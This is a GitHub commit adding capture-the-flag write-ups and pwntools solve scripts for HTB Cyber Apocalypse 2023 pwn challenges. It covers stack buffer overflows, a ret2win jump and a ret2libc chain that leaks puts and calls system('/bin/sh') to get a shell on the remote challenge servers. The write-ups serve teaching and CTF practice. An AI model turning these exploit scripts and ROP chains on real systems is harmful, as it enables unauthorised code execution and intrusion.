Skip to content

Commit 34a581d

Browse files
committed
docs: Add warmup and pwn
0 parents  commit 34a581d

File tree

12 files changed

+543
-0
lines changed

12 files changed

+543
-0
lines changed

README.md

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
# HTB Cyber Apocalypse 2023 writeups
2+
This repo includes my solutions to the challenges I have solved during the [contest](https://ctf.hackthebox.com/event/details/cyber-apocalypse-2023-the-cursed-mission-821).
3+
4+
In the end I have managed to solve a total of 49/74 challenges, as an [individual contestant](https://ctf.hackthebox.com/team/overview/62988).
5+
6+
* [Warmup](warmup.md)
7+
* Pwn
8+
- [Initialise connection](pwn/initialize_connection.md)
9+
- [Questionaire](pwn/questionnaire.md)
10+
- [Getting started](pwn/getting_started)
11+
- [Labyrinth](pwn/labyrinth)
12+
- [Pandora's box](pwn/pandoras_box)
13+
- [Void](pwn/void)

pwn/getting_started/README.md

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
# Getting started (very easy)
2+
This challenge focuses on making sure we know how to interact through `pwntools` with binaries and remotes.
3+
4+
`gs` contains a buffer overflow vulnerability and prompts us to overflow the buffer.
5+
6+
As can be seen from the nice output, we need 40 bytes to reach the target and then 8 more byte to overwrite it
7+
```
8+
After we insert 4 "B"s, (the hex representation of B is 0x42), the stack layout looks like this:
9+
10+
11+
[Addr] | [Value]
12+
-------------------+-------------------
13+
0x00007fffdaf5a1b0 | 0x4242424241414141 <- Start of buffer
14+
0x00007fffdaf5a1b8 | 0x0000000000000000
15+
0x00007fffdaf5a1c0 | 0x0000000000000000
16+
0x00007fffdaf5a1c8 | 0x0000000000000000
17+
0x00007fffdaf5a1d0 | 0x6969696969696969 <- Dummy value for alignment
18+
0x00007fffdaf5a1d8 | 0x00000000deadbeef <- Target to change
19+
0x00007fffdaf5a1e0 | 0x000055b091327800 <- Saved rbp
20+
0x00007fffdaf5a1e8 | 0x00007f7f17c21c87 <- Saved return address
21+
0x00007fffdaf5a1f0 | 0x0000002000000000
22+
0x00007fffdaf5a1f8 | 0x00007fffdaf5a2c8
23+
```
24+
25+
After constructing this payload in the provided wrapper script, we can point it at the remote and get the flag

pwn/getting_started/wrapper.py

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
#!/usr/bin/python3.8
2+
3+
'''
4+
You need to install pwntools to run the script.
5+
To run the script: python3 ./wrapper.py
6+
'''
7+
8+
# Library
9+
from pwn import *
10+
11+
# Open connection
12+
IP = '165.232.98.59' # Change this
13+
PORT = 30638 # Change this
14+
15+
r = remote(IP, PORT)
16+
# r = process('./gs')
17+
18+
# Craft payload
19+
payload = b'A' * 40 # Change the number of "A"s
20+
payload += b'B' * 8
21+
22+
# Send payload
23+
r.sendline(payload)
24+
25+
r.interactive()
26+
27+
# Read flag
28+
success(f'Flag --> {r.recvline_contains(b"HTB").strip().decode()}')

pwn/initialize_connection.md

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
# Initialise connection (very easy)
2+
This challegne wasn't hard either a simple command can be used in order to solve the challenge:
3+
```shell
4+
nc <ip> <port>
5+
```
6+
7+
Once connected, sending the number "1" yields the flag

pwn/labyrinth/README.md

Lines changed: 86 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
# Labyrinth (easy)
2+
This challenge involves exploiting a simple buffer overflow and then redirecting execution to a different function.
3+
4+
First we check the protections the binary has, using `checksec`
5+
```
6+
Arch: amd64-64-little
7+
RELRO: Full RELRO
8+
Stack: No canary found
9+
NX: NX enabled
10+
PIE: No PIE (0x400000)
11+
RUNPATH: b'./glibc/'
12+
```
13+
14+
Pretty much nothing, there's no canary and no ASLR.
15+
16+
Loading the binary into Ghidra, I analyzed the `main` function.
17+
18+
```c
19+
undefined8 main(void)
20+
21+
{
22+
int iVar1;
23+
undefined8 local_38;
24+
undefined8 local_30;
25+
undefined8 local_28;
26+
undefined8 local_20;
27+
char *local_18;
28+
ulong local_10;
29+
30+
setup();
31+
banner();
32+
local_38 = 0;
33+
local_30 = 0;
34+
local_28 = 0;
35+
local_20 = 0;
36+
fwrite("\nSelect door: \n\n",1,0x10,stdout);
37+
for (local_10 = 1; local_10 < 0x65; local_10 = local_10 + 1) {
38+
if (local_10 < 10) {
39+
fprintf(stdout,"Door: 00%d ",local_10);
40+
}
41+
else if (local_10 < 100) {
42+
fprintf(stdout,"Door: 0%d ",local_10);
43+
}
44+
else {
45+
fprintf(stdout,"Door: %d ",local_10);
46+
}
47+
if ((local_10 % 10 == 0) && (local_10 != 0)) {
48+
putchar(10);
49+
}
50+
}
51+
fwrite(&DAT_0040248f,1,4,stdout);
52+
local_18 = (char *)malloc(0x10);
53+
fgets(local_18,5,stdin);
54+
iVar1 = strncmp(local_18,"69",2);
55+
if (iVar1 != 0) {
56+
iVar1 = strncmp(local_18,"069",3);
57+
if (iVar1 != 0) goto LAB_004015da;
58+
}
59+
fwrite("\nYou are heading to open the door but you suddenly see something on the wall:\n\n\"Fly li ke a bird and be free!\"\n\nWould you like to change the door you chose?\n\n>> "
60+
,1,0xa0,stdout);
61+
fgets((char *)&local_38,0x44,stdin);
62+
LAB_004015da:
63+
fprintf(stdout,"\n%s[-] YOU FAILED TO ESCAPE!\n\n",&DAT_00402541);
64+
return 0;
65+
}
66+
```
67+
68+
First, 69 should be provided as a door number, in order to get into the vulnerable path of execution.
69+
70+
Then `fgets` will read 0x44 bytes into `local_38`. We see at the top of the function that is has 6 variables on the stack starting from `local_38`, each is 8 bytes large.
71+
72+
Then we can overwrite the RBP of the calling function and then the **return address**.
73+
74+
Browsing the list of functions in Ghidra, I found the `escape_strategy` function, which gives us the flag.
75+
76+
As a final trick, stack alignment was an issue, therefore a ROP gadgets needed to be added to the payload, in order to align the stack pointer to 16 bytes again.
77+
To fix alignment a simple `ret` ROP gadget can be placed. This will just pop the element from the stack and set the program counter to it.
78+
79+
To find the ROP gadget I will use the `pwntools` functions.
80+
81+
So our payload that gets put on the stack will be:
82+
```
83+
[48 - padding] + [8 - RBP overwrite] + [8 - ret gadget] + [8 - win function address]
84+
```
85+
86+
Running `solve.py` will give us the flag.

pwn/labyrinth/solve.py

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
import sys
2+
from pwn import *
3+
4+
rem = True
5+
p = None
6+
elf = ELF('./labyrinth')
7+
rop = ROP(elf)
8+
res = rop.find_gadget(['ret'])
9+
g_ret = res.address
10+
11+
if not rem:
12+
p = process('./labyrinth')
13+
else:
14+
p = remote('144.126.196.198', 31530)
15+
16+
p.sendline(b'69')
17+
input()
18+
p.sendline(b'A' * 48 + b'B' * 8 + p64(g_ret) + p64(0x00401255))
19+
p.interactive()

pwn/pandoras_box/README.md

Lines changed: 83 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,83 @@
1+
# Pandora's box (easy)
2+
For this challenge a simple buffer overflow vulnerability needs to be exploited.
3+
4+
Running the usual `checksec` analysis to see what protections the binary has:
5+
```
6+
Arch: amd64-64-little
7+
RELRO: Full RELRO
8+
Stack: No canary found
9+
NX: NX enabled
10+
PIE: No PIE (0x400000)
11+
RUNPATH: b'./glibc/
12+
```
13+
14+
Good! No ASLR for the binary and also no stack canary.
15+
16+
Next I loaded the binary in to Ghidra to see what was happening under the hood.
17+
The interesting function here will be `box()` which is called from `main()` after some setup and the banner.
18+
19+
```c
20+
void box(void)
21+
22+
{
23+
undefined8 local_38;
24+
undefined8 local_30;
25+
undefined8 local_28;
26+
undefined8 local_20;
27+
long local_10;
28+
29+
local_38 = 0;
30+
local_30 = 0;
31+
local_28 = 0;
32+
local_20 = 0;
33+
fwrite("This is one of Pandora\'s mythical boxes!\n\nWill you open it or Return it to the Library for analysis?\n\n1. Open.\n2. Return.\n\n>> "
34+
,1,0x7e,stdout);
35+
local_10 = read_num();
36+
if (local_10 != 2) {
37+
fprintf(stdout,"%s\nWHAT HAVE YOU DONE?! WE ARE DOOMED!\n\n",&DAT_004021c7);
38+
/* WARNING: Subroutine does not return */
39+
exit(0x520);
40+
}
41+
fwrite("\nInsert location of the library: ",1,0x21,stdout);
42+
fgets((char *)&local_38,0x100,stdin);
43+
fwrite("\nWe will deliver the mythical box to the Library for analysis, thank you!\n\n",1,0x4b,
44+
stdout);
45+
return;
46+
}
47+
```
48+
49+
If we input anything other than 2, then we fail the challenge, so let's input 2.
50+
51+
Next up `fgets` is called, and the buffer overflow happens here.
52+
As we see from the variables on the top, the current stack frame is only 40 bytes, however 0x100 (256) bytes are being read.
53+
54+
Unlike the previous challenge here we don't have a *win function* therefore we will aim for arbitrary code execution, i.e get a shell.
55+
56+
I chose to solve this challenge using the `ret2libc` technique, so in order to find out where the libc functions are loaded I needed to leak the libc address.
57+
58+
Thankfully remember that the binary itself doesn't have ASLR therefore we know where the PLT and the GOT are.
59+
Using this information we can construct our first exploit that will leak the libc address of the puts function.
60+
61+
```
62+
[40 - padding] + [8 - old RBP] + [8 - ret gadget] + [8 - pop rdi; ret gadget] + [8 - puts@got] + [8 - puts@plt] + [8 - box function address]
63+
```
64+
65+
The first gadget will just pop the next location to execute from the stack and jump to it. We need this to fix stack pointer alignment to 16 bytes, which some functions are sensitive to.
66+
67+
The next gadget will pop from the stack into RDI and then return. Essentially this allows us to call single argument functions. The address in the GOT where puts is will be the argument and the `puts` function will be the function we call.
68+
69+
This will essentially call `puts(puts)`, resulting in the address of the puts function being leaked.
70+
71+
We finish up with the address of `box` since after the leak we want to continue our exploit to get the shell.
72+
73+
Now that we know the address of puts, we can figure out where libc is being loaded.
74+
Then we can look for the `system` function in libc and the `/bin/sh` string.
75+
76+
Once we have these a second stage payload is constructed
77+
```
78+
[40 - padding] + [8 - old RBP] + [8 - ret gadget] + [8 - pop rdi; ret gadget] + [8 - /bin/sh string address] + [8 - system]
79+
```
80+
81+
Here again we first align the stack, and then call `system("/bin/sh")` to get our shell.
82+
83+
Once the exploit goes through we can just print the flag from our shell.

pwn/pandoras_box/solve.py

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
from pwn import *
2+
3+
rem = True
4+
5+
libc = ELF('./glibc/libc.so.6')
6+
elf = ELF('./pb')
7+
rop = ROP(elf)
8+
g_rdi_ret = rop.find_gadget(['pop rdi', 'ret']).address
9+
g_ret = rop.find_gadget(['ret']).address
10+
11+
plt_puts = elf.plt['puts']
12+
got_puts = elf.got['puts']
13+
box = elf.symbols['box']
14+
15+
if not rem:
16+
p = process('./pb')
17+
else:
18+
p = remote('144.126.196.198', 32494)
19+
20+
p.sendline(b'2')
21+
22+
padding = b'A' * 40 + b'B' * 8
23+
exploit = p64(g_ret) + p64(g_rdi_ret) + p64(got_puts) + p64(plt_puts) + p64(box)
24+
payload = padding + exploit
25+
p.sendline(payload)
26+
p.recvuntil(b'thank you!')
27+
puts_leak = u64(p.recvuntil(b'This').replace(b'This', b'').strip().ljust(8, b'\x00'))
28+
libc_base = puts_leak - libc.symbols['puts']
29+
log.info(f'libc base {hex(libc_base)}')
30+
31+
libc_system = libc_base + libc.symbols['system']
32+
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
33+
34+
log.info(f'system @ {hex(libc_system)}')
35+
log.info(f'binsh @ {hex(bin_sh)}')
36+
chain = p64(g_ret) + p64(g_rdi_ret) + p64(bin_sh) + p64(libc_system)
37+
p.sendline(b'2')
38+
# Extra padding required, analysis of gdb shows this
39+
p.sendline(padding + b'C' * 8 + chain)
40+
41+
p.interactive()

0 commit comments

Comments
 (0)